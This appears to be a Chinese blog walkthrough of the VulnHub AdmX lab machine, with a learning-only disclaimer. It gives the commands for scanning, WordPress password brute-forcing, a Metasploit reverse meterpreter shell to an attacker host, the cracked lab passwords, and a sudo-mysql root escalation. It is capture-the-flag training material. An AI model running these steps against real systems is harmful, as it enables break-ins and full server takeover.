ADMX 1.0.1
ADMX 1.0.1
前言
Description
信息收集
权限提升
前言
本次渗透皆为靶机环境,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
-
靶机地址:http://www.vulnhub.com/entry/admx-101,694/
Description
Back to the Top
AdmX is an easy/medium machine built for OSCP aspirants. For any queries please contact me on twitter: @deathflash1411
## Changelog 2021-05-11 - v1.0.1 2021-05-06 - v1.0.0
本次渗透涉及到的关键知识点:
- Web 信息收集
WordPress 管理员权限上传 Payload(wp_admin_shell_upload) SUDO 配合 MySQL 提权 ……
信息收集
首先使用 Kali 中的 arp-scan 工具扫描内网资产:
arp-scan --interface=eth0 192.168.226.0/24
发现目标主机 192.168.226.134,使用 nmap 扫描其端口服务等信息:
nmap -sC -sV -p- -sT 192.168.226.134
就开了一个 80 口,访问之:
是一个 apache2 的初始页面。
使用 dirsearch 进行目录扫描:
dirsearch -u http://192.168.226.134/ -e* -w /usr/share/dirb/wordlists/common.txt
发现两个关键目录:tools 和 wordpress。tools 目录禁止访问:
wordpress 目录就不用说了吧:
深入挖掘 wordpress 目录:
下面我们使用 wpscan 枚举 wordpress 上存在的用户:
wpscan --url http://192.168.226.134/wordpress --enumerate u
只发现了一个 admin 用户,下面尝试爆破该用户的密码。
使用 cewl
爬取整个网站上的关键字并生成一个字典:
cewl http://192.168.226.134/wordpress/ > wordlists.txt
然后使用 wpscan 并配合刚才生成的字典对 admin 用户进行爆破:
wpscan --url http://192.168.226.134/wordpress/ -U admin -P wordlists.txt
爆破失败。我们换一个更加强大的字典试试:
wpscan --url http://192.168.226.134/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt
竟然成功了!得到 admin 的密码为 adam14,我们访问 wp-login.php 尝试登录:
这 TM 也太拉了,卡的要死……
???啊这???什么情况???
不知道怎么回事……没事,稳住!
我们知道 WordPress 在管理员权限下有两种常见的 Getshell 的方式:
一种是编辑 Themes 中的 PHP 文件,将 Webshell 的代码添加进去,访问 PHP 页面来 Getshell 另一种是直接用 Metasploit 中 exploit/unix/webapp/wp_admin_shell_upload
模块,利用管理员的权限直接上传 Payload 反弹 meterpreter。
既然我们有了管理员的密码,那我们不妨试一试第二种方法:
use exploit/unix/webapp/wp_admin_shell_uploadset rhosts 192.168.226.134set targeturi /wordpressset username adminset password adam14set payload php/meterpreter/reverse_tcpset lhost 192.168.226.128set lport 4444run
执行后,该模块会生成一个 wordpress 插件,并把 Payload 打包进去,然后将插件利用管理员的权限上传并安装到目标上去。如下图,成功得到目标主机的 meterpreter:
攻击成功。
权限提升
进入 shell 发现目标主机存在 python3 环境,然后我们可以使用 python3 模拟一个终端:
python3 -c "import pty;pty.spawn('/bin/bash');"
flag 没有在根目录中:
会不会在 MySql 中呢?我们在 wordpress 的配置文件 wp-config.php 中找到了 MySQL 的连接密码:
直接登陆 MySQL:
mysql -uadmin -pWp_Admin#123
但是搜了一遍什么也没有找到。那么 flag 应该就是在 /root 目录里了,接下来就要想办法提权了。
查看 /etc/passwd 发现存在一个 wpadmin 用户:
那我们尝试一下能不能切换到 wpadmin 用户,密码用之前 wordpress 爆破得到的 adam14:
竟然成功了。
执行 sudo -l
发现该用户能无需输入密码便可以 root 权限执行 mysql 登录命令:
并且登陆的 mysql 用户为 root,那我们便可以进入 mysql 命令行来以 root 权限执行命令了:
sudo /usr/bin/mysql -u root -D wordpress -p!
直接执行 ! /bin/bash
即可得到一个 root 权限的 Bash:
点击数:36